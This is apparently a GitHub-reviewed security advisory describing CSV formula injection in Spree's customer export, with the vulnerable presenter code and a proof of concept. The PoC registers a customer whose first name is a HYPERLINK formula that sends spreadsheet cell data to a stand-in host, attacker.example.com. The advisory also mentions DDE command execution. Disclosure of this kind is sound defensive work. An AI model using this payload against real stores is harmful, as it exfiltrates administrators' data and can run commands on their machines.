OSV 1.4.0 · github-reviewed · 修改于 2026-06-05 02:46
发布时间
2026-06-05 02:46
GitHub 审查时间
2026-06-05 02:46
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/06/GHSA-xf4v-w5x5-pv79/GHSA-xf4v-w5x5-pv79.json
CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).
| Presenter | Path | User-controlled fields |
|---|---|---|
CustomerPresenter | spree/core/app/presenters/spree/csv/customer_presenter.rb:36 | first_name, last_name, address1, address2, city, phone |
customer_presenter.rb (representative example)# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
csv = [
customer.first_name, # ← written verbatim; may contain =HYPERLINK(...)
customer.last_name, # ← user-controlled
customer.email,
customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
customer.address&.company, # ← user-controlled
customer.address&.address1, # ← user-controlled
customer.address&.address2, # ← user-controlled
customer.address&.city, # ← user-controlled
customer.address&.state_text,
customer.address&.state_abbr,
customer.address&.country&.name,
customer.address&.country&.iso,
customer.address&.zipcode,
customer.phone, # ← user-controlled
customer.amount_spent_in(Spree::Store.current.default_currency),
customer.completed_orders.count,
]
csv += metafields_for_csv(customer)
csv
end
Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.
curl -X POST https://store.example.com/api/v3/store/customers \
-H "Content-Type: application/json" \
-H "X-Spree-Api-Key: pk_<publishable_api_key>" \
-d '{
"email": "[email protected]",
"password": "password123",
"password_confirmation": "password123",
"first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
"last_name": "Smith"
}'
curl -X POST https://store.example.com/api/v3/admin/exports \
-H "Authorization: Bearer <admin_jwt>" \
-H "Content-Type: application/json" \
-d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'
# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
-H "Authorization: Bearer <admin_jwt>"
# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
-H "Authorization: Bearer <admin_jwt>" \
-o customers.csv
Open customers.csv in a text editor. The first data row will contain:
"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","[email protected]",...
customers.csv in Microsoft Excel (Windows)HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.=CMD|...) on older or unpatched Excel versions, a subprocess
is launched on the administrator's machine.Vulnerability class: CSV / Formula Injection (CWE-1236)
| Step | Actor | Action | Privilege required |
|---|---|---|---|
| 1 | Attacker | Registers as customer | Public registration |
| 2 | Attacker | Sets first_name to formula payload | None beyond registration |
| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |
| 4 | Admin | Opens CSV in Excel | None |
| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |
All data visible to the administrator in the spreadsheet at the time of opening, including: